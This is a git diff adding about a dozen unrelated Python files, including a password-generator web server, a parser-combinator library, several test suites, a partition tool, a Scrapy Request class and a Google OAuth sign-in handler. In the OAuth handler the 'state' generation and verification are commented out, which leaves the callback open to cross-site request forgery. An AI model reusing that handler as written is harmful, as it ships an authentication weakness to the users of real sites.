--git a/pool/shard008/Python/0076218_server.py b/pool/shard008/Python/0076218_server.py new file mode 100644 index 0000000000000000000000000000000000000000..a5263a8e97b7fd89d8b44ff1fdbbb64c274bc16b --- /dev/null +++ b/pool/shard008/Python/0076218_server.py @@ -0,0 +1,82 @@ +#!/usr/bin/python +from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer +import easywd +import argparse +from urlparse import urlparse, parse_qs + + +# This class will handle any incoming request from +# the browser +class MyHandler(BaseHTTPRequestHandler): + # Handler for the GET requests + def do_GET(self): + if urlparse(self.path).path == "/": + self.send_response(200) + self.send_header("Content-type", "text/html") + self.end_headers() + args = parse_qs(urlparse(self.path).query) + lang = cmd_args.language + if "lang" in args: + if args["lang"][0] in ["en", "es"]: + lang = args["lang"][0] + size = cmd_args.size + if "size" in args: + try: + if int(args["size"][0]) in range(4, 50 + 1): + size = int(args["size"][0]) + except ValueError: + pass + sep = cmd_args.separator + if "sep" in args: + sep = args["sep"][0] + html = easywd.make_password(lang, size, sep) + self.wfile.write(html) + else: + self.send_response(404) + return + + +def valid_port(string): + msg = "%s is not a valid TCP port, try 1-65535" % string + try: + value = int(string) + except: + raise argparse.ArgumentTypeError(msg) + if not 1 <= value <= 65535: + raise argparse.ArgumentTypeError(msg) + return value + + +def valid_size(string): + msg = "%s is not a valid size, try 4-50" % string + try: + value = int(string) + except: + raise argparse.ArgumentTypeError(msg) + if not 4 <= value <= 50: + raise argparse.ArgumentTypeError(msg) + return value + + +parser = argparse.ArgumentParser(description="Run a minimal web server that generates easywd passwords. " + "Easy for humans to write in paper, remember, say over the " + "phone or over the hallway. Cryptographically secure (for " + "most purposes).") +parser.add_argument("-p", "--port", help="TCP port, 8080 if omitted", type=valid_port, default=8080) +parser.add_argument("-s", "--size", help="default password size, 20 if omitted", type=valid_size, default=20) +parser.add_argument("-l", "--language", help="default language, 'en' if omitted", choices=['en', 'es'], default="en") +parser.add_argument("-sep", "--separator", help="default word separator, '-' if omitted", default="-") +cmd_args = parser.parse_args() + +port_number = cmd_args.port +try: + # Create a web server and define the handler to manage the + # incoming request + server = HTTPServer(("", port_number), MyHandler) + print "Started HTTP server on port", port_number + # Wait forever for incoming http requests + server.serve_forever() + +except KeyboardInterrupt: + print "^C received, shutting down the web server" + server.socket.close() diff --git a/pool/shard008/Python/0076219_parsing.py b/pool/shard008/Python/0076219_parsing.py new file mode 100644 index 0000000000000000000000000000000000000000..8097042b6e53a854a24253bd185decfabc52b5fa --- /dev/null +++ b/pool/shard008/Python/0076219_parsing.py @@ -0,0 +1,165 @@ +import re + +from abc import ABCMeta, abstractmethod +from utils.helpers import tail + +# TODO: Take care about reuse of items - later uses currently can override previous ones + + +class Item(metaclass=ABCMeta): + """A base class for all Items out of which a grammar is constructed + + Call method expects a list of arguments, and upon successful parsing + should return ( Item, remains ), but if it fails, raise a SyntaxError""" + @abstractmethod + def __call__(self, arg_list): + pass + + def __str__(self): + return self.__class__.__name__ + + def __repr__(self): + return str(self) + + +class Token(Item, metaclass=ABCMeta): + """A terminating symbol of a grammar""" + + def __init__(self): + self.content = None + + def __call__(self, arg_list): + if not arg_list: + raise SyntaxError('{}: nothing to parse'.format(self.__class__.__name__)) + if self.matches(arg_list[0]): + self.content = arg_list[0] + return self, tail(arg_list) + else: + raise SyntaxError('{} is not a {}'.format(arg_list[0], self.__class__.__name__)) + + def __str__(self): + return '{}: {}'.format(self.__class__.__name__, self.content) + + @abstractmethod + def matches(self, word): + pass + + +class RToken(Token): + """A token defined by a given regex""" + + def __init__(self, regex=''): + self.regex = re.compile(regex) + self.content = '' + + def matches(self, word): + return re.fullmatch(self.regex, word) is not None + + +class Word(RToken): + """A single word token""" + + def __init__(self, word): + super().__init__(re.escape(word)) + + +class Symbol(Word): + """A single symbol token""" + pass + + +class Combinator(Item): + """A combination of tokens""" + + def __init__(self, *args): + self.items = args + self.content = '' + + def __str__(self): + return '{}: [{}]'.format(self.__class__.__name__, ', '.join([str(i) for i in self.items])) + + +class Or(Combinator): + """OR combinator, attempts to match any of a given list of Items to the input""" + + def __call__(self, arg_list): + for item in self.items: + try: + return item(arg_list) + except Exception: + pass + raise SyntaxError('{} is not a {}'.format(arg_list[0], str(self))) + + +class Sequence(Combinator): + """List combinator, attempts to match a sequence of given items""" + + def __call__(self, arg_list): + returns = [] + for item in self.items: + ret, arg_list = item(arg_list) + if isinstance(ret, list): + returns += ret + else: + returns.append(ret) + return returns, arg_list + + +class PSequence(Combinator): + """Same as Sequence above, only stores matched elements into itself""" + + def __call__(self, arg_list): + returns = [] + for item in self.items: + ret, arg_list = item(arg_list) + if isinstance(ret, list): + returns += ret + else: + returns.append(ret) + self.content = returns + return self, arg_list + + def purge(self): + self.content = [i for i in self.content if i] + return self + + def __str__(self): + return '{}: [{}]'.format(self.__class__.__name__, ', '.join([str(i) for i in self.content])) + + +class Modifier(Item): + """A modifier of a basic item""" + + def __init__(self, item): + self.item = item + + def __str__(self): + return '{}: {}'.format(self.__class__.__name__, self.item) + + +class Possible(Modifier): + """Attempts to match an item, but failure to do so is not fatal (no exception, + returns ( None, arg_list ) )""" + + def __call__(self, arg_list): + try: + return self.item(arg_list) + except Exception: + return (None, arg_list) + + +class Repeatable(Modifier): + """Match as many instances of item in a row as possible; cannot fail""" + + def __call__(self, arg_list): + returns = [] + while True: + try: + ret, arg_list = self.item(arg_list) + if isinstance(ret, list): + returns += ret + else: + returns.append(ret) + except Exception as e: + break + return returns, arg_list diff --git a/pool/shard008/Python/0076222_analyzePhysicsToolbox.py b/pool/shard008/Python/0076222_analyzePhysicsToolbox.py new file mode 100644 index 0000000000000000000000000000000000000000..b119d3f20cf5a5872e59acdb3d332347db40d231 --- /dev/null +++ b/pool/shard008/Python/0076222_analyzePhysicsToolbox.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python + +# Chris Riederer +# 2014-08-13 + +"""This script is to look at the data coming from Physics Toolbox Magnetometer. + It's to help debug the magnet button on Google Cardboard. +""" + +import test_detect as t + +import sys + +if len(sys.argv) < 2: + print "Please provide the name of the file you'd like to analyze." + +runData = t.MakeDummyRunData() + +with open(sys.argv[1]) as f: + magdata = [] + f.readline() + f.readline() + for line in f: + empty, time, x, y, z = line.strip().split(',') + magdata.append(map(float, [time, 0, x, y, z])) + +runData['magnetometer'] = magdata + +runDataList = [runData] +runDataList = t.preprocessRunData(runDataList) + +detector = t.TimeWindowDetector() +detector.segment_time = 175 +# detector = t.OriginalDetector() + +# t.PlotData(runData) +# t.pl.show() + +# t.testDetector(detector, runDataList, optPlotData=True) +t.PlotThresholds(runData, 30, 130, segment_size=400) diff --git a/pool/shard008/Python/0076223_b.py b/pool/shard008/Python/0076223_b.py new file mode 100644 index 0000000000000000000000000000000000000000..3a3bd300e0bd6d8215894f54e84926a95c1d33d8 --- /dev/null +++ b/pool/shard008/Python/0076223_b.py @@ -0,0 +1,65 @@ +#!/usr/bin/env python +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# + +from __future__ import print_function +import optparse +from proton import Url +from proton.handlers import MessagingHandler +from proton.reactor import Container, DurableSubscription + +class Recv(MessagingHandler): + def __init__(self, url, id, subscription, count): + super(Recv, self).__init__() + self.url = Url(url) + self.id = id + self.subscription = subscription + self.expected = count + self.received = 0 + + def on_start(self, event): + # non-shared, durable + event.container.container_id = self.id + event.container.create_receiver(self.url, name=self.subscription, options=[DurableSubscription()]) + + def on_message(self, event): + if self.expected == 0 or self.received < self.expected: + print(event.message.body) + self.received += 1 + if self.received == self.expected: + event.receiver.close() + event.connection.close() + +parser = optparse.OptionParser(usage="usage: %prog [options]") +parser.add_option("-a", "--address", default="localhost:5672/examples", + help="address from which messages are received (default %default)") +parser.add_option("-m", "--messages", type="int", default=100, + help="number of messages to receive; 0 receives indefinitely (default %default)") +parser.add_option("-i", "--id", default="client-b", + help="client's connection identifier (default %default)") +parser.add_option("-s", "--subscription", default="subscription-b", + help="client's subscription identifier (default %default)") +opts, args = parser.parse_args() + +try: + Container(Recv(opts.address, opts.id, opts.subscription, opts.messages)).run() +except KeyboardInterrupt: pass + + + diff --git a/pool/shard008/Python/0076224_test_streaming.py b/pool/shard008/Python/0076224_test_streaming.py new file mode 100644 index 0000000000000000000000000000000000000000..b80c4a9741e46b502006deb71095288085a41c1b --- /dev/null +++ b/pool/shard008/Python/0076224_test_streaming.py @@ -0,0 +1,74 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +'''Ripyl protocol decode library + streaming.py test suite +''' + +# Copyright © 2013 Kevin Thibedeau + +# This file is part of Ripyl. + +# Ripyl is free software: you can redistribute it and/or modify +# it under the terms of the GNU Lesser General Public License as +# published by the Free Software Foundation, either version 3 of +# the License, or (at your option) any later version. + +# Ripyl is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Lesser General Public License for more details. + +# You should have received a copy of the GNU Lesser General Public +# License along with Ripyl. If not, see . + +from __future__ import print_function, division + +import unittest +import random +import os + +import ripyl.streaming as stream +import test.test_support as tsup + +class TestStreamingFuncs(tsup.RandomSeededTestCase): + + def test_save_stream(self): + self.test_name = 'save_stream() test' + self.trial_count = 40 + + out_dir = os.path.join('test', 'test-output') + if not os.path.exists(out_dir): + os.mkdir(out_dir) + + save_file = os.path.join(out_dir, 'test_save_stream.bin') + + for i in xrange(self.trial_count): + self.update_progress(i+1) + + rec_count = random.randint(0,4) + + records = [] + + for r in xrange(rec_count): + rnd_kind = ''.join([chr(random.randrange(ord('a'), ord('z')+1)) for _ in xrange(4)]) + rec = stream.StreamRecord(kind=rnd_kind, status = random.randint(0,1000)) + records.append(rec) + + srec_count = random.randint(0,4) + for sr in xrange(srec_count): + rnd_kind = ''.join([chr(random.randrange(ord('a'), ord('z')+1)) for _ in xrange(4)]) + srec = stream.StreamRecord(kind=rnd_kind, status = random.randint(0,1000)) + rec.subrecords.append(srec) + + + stream.save_stream(records, save_file) + saved_recs = stream.load_stream(save_file) + + self.assertEqual(len(records), len(saved_recs), 'Mismatch record rount') + + if len(records) == len(saved_recs): + for r,s in zip(records, saved_recs): + self.assertEqual(r, s, 'Mismatched records') + + diff --git a/pool/shard008/Python/0076226_test_history_bdd.py b/pool/shard008/Python/0076226_test_history_bdd.py new file mode 100644 index 0000000000000000000000000000000000000000..f2e018b9ff2ac4626d1597ec88570a74b99af66d --- /dev/null +++ b/pool/shard008/Python/0076226_test_history_bdd.py @@ -0,0 +1,70 @@ +# vim: ft=python fileencoding=utf-8 sts=4 sw=4 et: + +# Copyright 2016-2021 Florian Bruhin (The Compiler) +# +# This file is part of qutebrowser. +# +# qutebrowser is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# qutebrowser is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with qutebrowser. If not, see . + +import json +import logging +import re + +import pytest +import pytest_bdd as bdd + +bdd.scenarios('history.feature') + + +@pytest.fixture(autouse=True) +def turn_on_sql_history(quteproc): + """Make sure SQL writing is enabled for tests in this module.""" + cmd = ":debug-pyeval objects.debug_flags.remove('no-sql-history')" + quteproc.send_cmd(cmd) + quteproc.wait_for_load_finished_url('qute://pyeval') + quteproc.wait_for(message='INSERT INTO History *', category='sql') + + +@bdd.then(bdd.parsers.parse("the query parameter {name} should be set to " + "{value}")) +def check_query(quteproc, name, value): + """Check if a given query is set correctly. + + This assumes we're on the server query page. + """ + content = quteproc.get_content() + data = json.loads(content) + print(data) + assert data[name] == value + + +@bdd.then(bdd.parsers.parse("the history should contain:\n{expected}")) +def check_history(quteproc, server, tmpdir, expected): + quteproc.wait_for(message='INSERT INTO History *', category='sql') + path = tmpdir / 'history' + quteproc.send_cmd(':debug-dump-history "{}"'.format(path)) + quteproc.wait_for(category='message', loglevel=logging.INFO, + message='Dumped history to {}'.format(path)) + + with path.open('r', encoding='utf-8') as f: + # ignore access times, they will differ in each run + actual = '\n'.join(re.sub('^\\d+-?', '', line).strip() for line in f) + + expected = expected.replace('(port)', str(server.port)) + assert actual == expected + + +@bdd.then("the history should be empty") +def check_history_empty(quteproc, server, tmpdir): + check_history(quteproc, server, tmpdir, '') diff --git a/pool/shard008/Python/0076233_google.py b/pool/shard008/Python/0076233_google.py new file mode 100644 index 0000000000000000000000000000000000000000..8770636989707119815122a8d909063c92974316 --- /dev/null +++ b/pool/shard008/Python/0076233_google.py @@ -0,0 +1,92 @@ +# coding: utf-8 + +from Crypto.Hash import SHA256 +import json +from requests_oauthlib import OAuth2Session + +from application.handler import BaseHandler +from domain.repository import UserRepository +import error +import secret + +# OAuth endpoints given in the Google API documentation +GOOGLE_AUTHORIZATION_BASE_URL = "https://accounts.google.com/o/oauth2/v2/auth" +GOOGLE_TOKEN_URL = "https://www.googleapis.com/oauth2/v4/token" +GOOGLE_AUTH_SCOPE = [ + "https://www.googleapis.com/auth/userinfo.email", + "https://www.googleapis.com/auth/userinfo.profile" +] + + +def generate_state(session_id): + s = SHA256.new() + s.update(session_id) + return s.hexdigest() + + +def check_state(session_id, state): + s = SHA256.new() + s.update(session_id) + return s.hexdigest() == state + + +class SignInHandler(BaseHandler): + def get(self): + provider = OAuth2Session( + secret.GOOGLE_CLIENT_ID, + scope=GOOGLE_AUTH_SCOPE, + redirect_uri=secret.GOOGLE_REDIRECT_URI) + + authorization_url, state = provider.authorization_url( + GOOGLE_AUTHORIZATION_BASE_URL, + # state=generate_state(self.session_id), + access_type="offline", + approval_prompt="force") + + self.redirect(str(authorization_url)) + + +class CallbackHandler(BaseHandler): + def get(self): + code = self.request.params.get('code', 'none') + state = self.request.params.get('state') + + # if not check_state(self.session_id, state): + # raise error.ForbiddenException('`state` not matches') + + provider = OAuth2Session( + secret.GOOGLE_CLIENT_ID, + scope=GOOGLE_AUTH_SCOPE, + redirect_uri=secret.GOOGLE_REDIRECT_URI) + + provider.fetch_token( + GOOGLE_TOKEN_URL, + client_secret=secret.GOOGLE_CLIENT_SECRET, + code=code) + + r = provider.get('https://www.googleapis.com/oauth2/v1/userinfo') + j = json.loads(r.content) + + # fetch user by google ID + repository = UserRepository() + user = repository.get_by_google_id(j['id']) + + # sing in + if user is not None: + pass + # sing up + else: + user = repository.new( + name=j.get('name'), + email=j.get('email'), + image=j.get('picture'), + google_id=j['id'] + ) + + self.session['user'] = user.to_json() + origin_url = self.session.get('origin_url') + if origin_url: + self.session['origin_url'] = None + self.redirect(str(origin_url)) + else: + self.redirect('/') diff --git a/pool/shard008/Python/0076234_fdisk.py b/pool/shard008/Python/0076234_fdisk.py new file mode 100644 index 0000000000000000000000000000000000000000..a3633149808a485d3e2d9e55aa6a27e8078d8cb0 --- /dev/null +++ b/pool/shard008/Python/0076234_fdisk.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python +# simple partition tool with purpose on pyparted testing + +import parted +import getopt +import sys +import rfparted +import partedprint + +def check_device(devpath): + """Given the operating system level path to a device node, set + the value of self.dev and self.disk. Return false if an + invalid path is given.""" + try: + parted.getDevice(devpath) + except parted.DeviceException: + return False + return True + +def usage(): + print "%s: [OPTION]... [DEVICE [CMD [PARAM]...]...]" % (sys.argv[0], ) + print "Option:" + #print "\t-d,--dev device operate only on device specified" + print "\t-h,--help \t\t show help information" + print "\t-l,--list[free|json] \t lists partition layout on all block devices" + print + print "Command:" + print "\tmklabel LABEL-TYPE create a new disklabel (partition table)" + print "\tmkpart PART-TYPE START END [FS-TYPE] make a partition" + print "\trm NUMBER delete partition NUMBER" + print "\tprint [free|json] display the partition table,free space " + print "\t or get the result with json" + +def print_handler(opts,args): + #disks = {devpath:disks} + disks = {} + isjson = False + withfree = False + for opt in opts: + op, arg = opt[0],opt[1] + if op == '-l' or op == '--list': + disks = None + elif op == '-h' or op == '--help': + usage() + sys.exit(0) + else: + usage() + sys.exit(1) + + + for arg in args: + if arg == 'json': + isjson = True + elif arg == 'free': + withfree = True + elif arg == 'print' and disks == []: + if not check_device(args[0]): + usage() + sys.exit(1) + else: + dev = parted.getDevice(args[0]) + try: + disks[dev.path] = parted.disk.Disk(dev) + except: + disks[dev.path] = None + if isjson: + print partedprint.parted_print(disks,isjson,withfree) + else: + partedprint.parted_print(disks,isjson,withfree) + +if __name__ == "__main__": + # check uid + try: + opts, args = getopt.getopt(sys.argv[1:], "hl", ["help", "list"]) + except getopt.GetoptError: + usage() + sys.exit(2) + + #print_handler + if opts or "print".startswith(args[1]): + print_handler(opts,args) + sys.exit(0) + + if not check_device(args[0]): + sys.exit(1) + + if len(args) > 1: + cmd = args[1] + dev = parted.getDevice(args[0]) + try: + disk = parted.disk.Disk(dev) + except: + print "the dev's type is unknow." + sys.exit(1) + + del args[1] + del args[0] + + new_disk = dispatch(cmd, args, dev, disk) + if new_disk: + new_disk.commit() + print_disk_helper(new_disk) + diff --git a/pool/shard008/Python/0076237_init__.py b/pool/shard008/Python/0076237_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..609a0d43304c63100c05fb152424d2e3456f4eef --- /dev/null +++ b/pool/shard008/Python/0076237_init__.py @@ -0,0 +1,104 @@ +""" +This module implements the Request class which is used to represent HTTP +requests in Scrapy. + +See documentation in docs/topics/request-response.rst +""" + +import copy + +from w3lib.url import safe_url_string + +from scrapy.http.headers import Headers +from scrapy.utils.trackref import object_ref +from scrapy.utils.decorator import deprecated +from scrapy.utils.url import escape_ajax +from scrapy.http.common import obsolete_setter + +class Request(object_ref): + + def __init__(self, url, callback=None, method='GET', headers=None, body=None, + cookies=None, meta=None, encoding='utf-8', priority=0, + dont_filter=False, errback=None): + + self._encoding = encoding # this one has to be set first + self.method = str(method).upper() + self._set_url(url) + self._set_body(body) + assert isinstance(priority, int), "Request priority not an integer: %r" % priority + self.priority = priority + + assert callback or not errback, "Cannot use errback without a callback" + self.callback = callback + self.errback = errback + + self.cookies = cookies or {} + self.headers = Headers(headers or {}, encoding=encoding) + self.dont_filter = dont_filter + + self._meta = dict(meta) if meta else None + + @property + def meta(self): + if self._meta is None: + self._meta = {} + return self._meta + + def _get_url(self): + return self._url + + def _set_url(self, url): + if isinstance(url, str): + self._url = escape_ajax(safe_url_string(url)) + elif isinstance(url, unicode): + if self.encoding is None: + raise TypeError('Cannot convert unicode url - %s has no encoding' % + type(self).__name__) + self._set_url(url.encode(self.encoding)) + else: + raise TypeError('Request url must be str or unicode, got %s:' % type(url).__name__) + if ':' not in self._url: + raise ValueError('Missing scheme in request url: %s' % self._url) + + url = property(_get_url, obsolete_setter(_set_url, 'url')) + + def _get_body(self): + return self._body + + def _set_body(self, body): + if isinstance(body, str): + self._body = body + elif isinstance(body, unicode): + if self.encoding is None: + raise TypeError('Cannot convert unicode body - %s has no encoding' % + type(self).__name__) + self._body = body.encode(self.encoding) + elif body is None: + self._body = '' + else: + raise TypeError("Request body must either str or unicode. Got: '%s'" % type(body).__name__) + + body = property(_get_body, obsolete_setter(_set_body, 'body')) + + @property + def encoding(self): + return self._encoding + + def __str__(self): + return "<%s %s>" % (self.method, self.url) + + __repr__ = __str__ + + def copy(self): + """Return a copy of this Request""" + return self.replace() + + def replace(self, *args, **kwargs): + """Create a new Request with the same attributes except for those + given new values. + """ + for x in ['url', 'method', 'headers', 'body', 'cookies', 'meta', \ + 'encoding', 'priority', 'dont_filter', 'callback', 'errback']: + kwargs.setdefault(x, getattr(self, x)) + cls = kwargs.pop('cls', self.__class__) + return cls(*args, **kwargs) diff --git a/pool/shard008/Python/0076238_test_workers.py b/pool/shard008/Python/0076238_test_workers.py new file mode 100644 index 0000000000000000000000000000000000000000..c72e442871007c0f7a5a54b7b6b79c5233ef6028 --- /dev/null +++ b/pool/shard008/Python/0076238_test_workers.py @@ -0,0 +1,113 @@ +import unittest + +from mock import patch, Mock + +from tests.tools import create_mock_json +from twilio.rest.resources.task_router.workers import Workers, Worker + + +AUTH = ("AC123", "token") +BASE_URI = "https://taskrouter.twilio.com/v1/Workspaces/WSaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" +WORKER_SID = "WKaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" +TIMEOUT = 30 + + +class WorkerTest(unittest.TestCase): + @patch('twilio.rest.resources.base.make_twilio_request') + def test_create(self, request): + resp = create_mock_json('tests/resources/task_router/workers_instance.json') + resp.status_code = 201 + request.return_value = resp + + workers = Workers(BASE_URI, AUTH, TIMEOUT) + workers.create("Test Worker") + exp_params = { + 'FriendlyName': "Test Worker" + } + + request.assert_called_with("POST", "{0}/Workers".format(BASE_URI), data=exp_params, auth=AUTH, + timeout=TIMEOUT, use_json_extension=False) + + @patch('twilio.rest.resources.base.make_twilio_request') + def test_delete_instance(self, request): + resp = Mock() + resp.content = "" + resp.status_code = 204 + request.return_value = resp + + uri = "{0}/Workers/{1}".format(BASE_URI, WORKER_SID) + list_resource = Workers(BASE_URI, AUTH, TIMEOUT) + worker = Worker(list_resource, WORKER_SID) + worker.delete() + request.assert_called_with("DELETE", uri, auth=AUTH, + timeout=TIMEOUT, use_json_extension=False) + + @patch('twilio.rest.resources.base.make_twilio_request') + def test_delete_list(self, request): + resp = Mock() + resp.content = "" + resp.status_code = 204 + request.return_value = resp + + uri = "{0}/Workers/{1}".format(BASE_URI, WORKER_SID) + list_resource = Workers(BASE_URI, AUTH, TIMEOUT) + list_resource.delete(WORKER_SID) + request.assert_called_with("DELETE", uri, auth=AUTH, timeout=TIMEOUT, + use_json_extension=False) + + @patch('twilio.rest.resources.base.make_twilio_request') + def test_get(self, request): + resp = create_mock_json('tests/resources/task_router/workers_instance.json') + resp.status_code = 200 + request.return_value = resp + + uri = "{0}/Workers/{1}".format(BASE_URI, WORKER_SID) + list_resource = Workers(BASE_URI, AUTH, TIMEOUT) + list_resource.get(WORKER_SID) + request.assert_called_with("GET", uri, auth=AUTH, + timeout=TIMEOUT, use_json_extension=False) + + @patch('twilio.rest.resources.base.make_twilio_request') + def test_list(self, request): + resp = create_mock_json('tests/resources/task_router/workers_list.json') + resp.status_code = 200 + request.return_value = resp + + uri = "{0}/Workers".format(BASE_URI) + list_resource = Workers(BASE_URI, AUTH, TIMEOUT) + list_resource.list() + request.assert_called_with("GET", uri, params={}, auth=AUTH, + timeout=TIMEOUT, use_json_extension=False) + + @patch('twilio.rest.resources.base.make_twilio_request') + def test_update_instance(self, request): + resp = create_mock_json('tests/resources/task_router/workers_instance.json') + resp.status_code = 201 + request.return_value = resp + + uri = "{0}/Workers/{1}".format(BASE_URI, WORKER_SID) + list_resource = Workers(BASE_URI, AUTH, TIMEOUT) + worker = Worker(list_resource, WORKER_SID) + worker.update(friendly_name='Test Worker') + exp_params = { + 'FriendlyName': "Test Worker" + } + + request.assert_called_with("POST", uri, data=exp_params, auth=AUTH, + timeout=TIMEOUT, use_json_extension=False) + + @patch('twilio.rest.resources.base.make_twilio_request') + def test_update_list(self, request): + resp = create_mock_json('tests/resources/task_router/workers_instance.json') + resp.status_code = 201 + request.return_value = resp + + uri = "{0}/Workers/{1}".format(BASE_URI, WORKER_SID) + list_resource = Workers(BASE_URI, AUTH, TIMEOUT) + list_resource.update(WORKER_SID, friendly_name='Test Worker') + exp_params = { + 'FriendlyName': "Test Worker" + } + + request.assert_called_with("POST", uri, data=exp_params, auth=AUTH, + timeout=TIMEOUT, use_json_extension=False) diff --git a/pool/shard008/Python/0076239_network.py b/pool/shard008/Python/0076239_network.py new file mode 100644 index 0000000000000000000000000000000000000000..caf08dbec956551fc0fa96407c24806beb822ffc --- /dev/null +++ b/pool/shard008/Python/0076239_network.py @@ -0,0 +1,81 @@ +# Copyright 2012 Canonical Ltd. This software is licensed under the +# GNU Affero General Public License version 3 (see the file LICENSE). + +"""Discover networks attached to this cluster controller. + +A cluster controller uses this when registering itself with the region +controller. +""" + +from __future__ import ( + absolute_import, + print_function, + unicode_literals, + ) + +str = None + +__metaclass__ = type +__all__ = [ + 'discover_networks', + ] + + +from netifaces import ( + AF_INET, + ifaddresses, + interfaces, + ) + + +class InterfaceInfo: + """The details of a network interface we are interested in.""" + + def __init__(self, interface, ip=None, subnet_mask=None): + self.interface = interface + self.ip = ip + self.subnet_mask = subnet_mask + + def may_be_subnet(self): + """Could this be a subnet that MAAS is interested in?""" + return all([ + self.interface != 'lo', + self.ip is not None, + self.subnet_mask is not None, + ]) + + def as_dict(self): + """Return information as a dictionary. + + The return value's format is suitable as an interface description + for use with the `register` API call. + """ + return { + 'interface': self.interface, + 'ip': self.ip, + 'subnet_mask': self.subnet_mask, + } + + +def get_interface_info(interface): + """Return a list of `InterfaceInfo` for the named `interface`.""" + addresses = ifaddresses(interface).get(AF_INET) + if addresses is None: + return [] + else: + return [ + InterfaceInfo( + interface, ip=address.get('addr'), + subnet_mask=address.get('netmask')) + for address in addresses] + + +def discover_networks(): + """Find the networks attached to this system.""" + infos = sum( + [get_interface_info(interface) for interface in interfaces()], []) + return [ + info.as_dict() + for info in infos + if info.may_be_subnet() + ] diff --git a/pool/shard008/Python/0076249_test_intervals.py b/pool/shard008/Python/0076249_test_intervals.py new file mode 100644 index 0000000000000000000000000000000000000000..a24e49ef6a2062d14e50ae05066e9f601ef1e322 --- /dev/null +++ b/pool/shard008/Python/0076249_test_intervals.py @@ -0,0 +1,61 @@ +from graphite_api.intervals import IntervalSet, Interval, union_overlapping + +from . import TestCase + + +class IntervalTestCase(TestCase): + def test_interval(self): + with self.assertRaises(ValueError): + Interval(1, 0) + + i = Interval(0, 1) + j = Interval(1, 2) + k = Interval(0, 1) + l = Interval(0, 0) + self.assertNotEqual(i, j) + self.assertEqual(i, k) + self.assertEqual(hash(i), hash(k)) + + with self.assertRaises(TypeError): + len(i) + + self.assertTrue(j > i) + + self.assertTrue(i) + self.assertFalse(l) + + self.assertEqual(repr(i), '') + + self.assertIsNone(i.intersect(j)) + self.assertEqual(i.intersect(k), k) + self.assertTrue(i.overlaps(j)) + self.assertEqual(i.union(j), Interval(0, 2)) + + with self.assertRaises(TypeError): + j.union(l) + + self.assertEqual(union_overlapping([i, j, k, l]), + [Interval(0, 2)]) + + def test_interval_set(self): + i = Interval(0, 1) + j = Interval(1, 2) + + s = IntervalSet([i, j]) + self.assertEqual(repr(s), '[]') + s = IntervalSet([i, j], disjoint=True) + + it = iter(s) + self.assertEqual(next(it), i) + self.assertEqual(next(it), j) + + self.assertTrue(s) + self.assertFalse(IntervalSet([])) + + self.assertEqual(s - IntervalSet([i]), + IntervalSet([j])) + + self.assertFalse(IntervalSet([]).intersect(s)) + + self.assertEqual(s.union(IntervalSet([Interval(3, 4)])), + IntervalSet([Interval(3, 4), i, j])) diff --git a/pool/shard008/Python/0076250_package.py b/pool/shard008/Python/0076250_package.py new file mode 100644 index 0000000000000000000000000000000000000000..07106ce5a65f28d666a2456dd651b8166dccc607 --- /dev/null +++ b/pool/shard008/Python/0076250_package.py @@ -0,0 +1,40 @@ +############################################################################## +# Copyright (c) 2013-2018, Lawrence Livermore National Security, LLC. +# Produced at the Lawrence Livermore National Laboratory. +# +# This file is part of Spack. +# Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved. +# LLNL-CODE-647188 +# +# For details, see https://github.com/spack/spack +# Please also see the NOTICE and LICENSE files for our notice and the LGPL. +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU Lesser General Public License (as +# published by the Free Software Foundation) version 2.1, February 1999. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the IMPLIED WARRANTY OF +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the terms and +# conditions of the GNU Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +############################################################################## +from spack import * + + +class RBiocparallel(RPackage): + """This package provides modified versions and novel implementation of + functions for parallel evaluation, tailored to use with Bioconductor + objects.""" + + homepage = "https://bioconductor.org/packages/BiocParallel/" + git = "https://git.bioconductor.org/packages/BiocParallel.git" + + version('1.10.1', commit='a76c58cf99fd585ba5ea33065649e68f1afe0a7d') + + depends_on('r-futile-logger', type=('build', 'run')) + depends_on('r-snow', type=('build', 'run')) + depends_on('r@3.4.0:3.4.9', when='@1.10.1') diff --git a/pool/shard008/Python/0076251_mrp.py b/pool/shard008/Python/0076251_mrp.py new file mode 100644 index 0000000000000000000000000000000000000000..551a8c4199d438a1d575083c837a9165daed5127 --- /dev/null +++ b/pool/shard008/Python/0076251_mrp.py @@ -0,0 +1,198 @@ +# -*- encoding: utf-8 -*- +############################################################################## +# +# OpenERP, Open Source Management Solution +# Copyright (C) 2004-2012 Tiny SPRL (http://tiny.be). All Rights Reserved +# +# This module, +# Copyright (C) 2015 Jordi Llinares López - bigandopen@bigandopen.com +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# 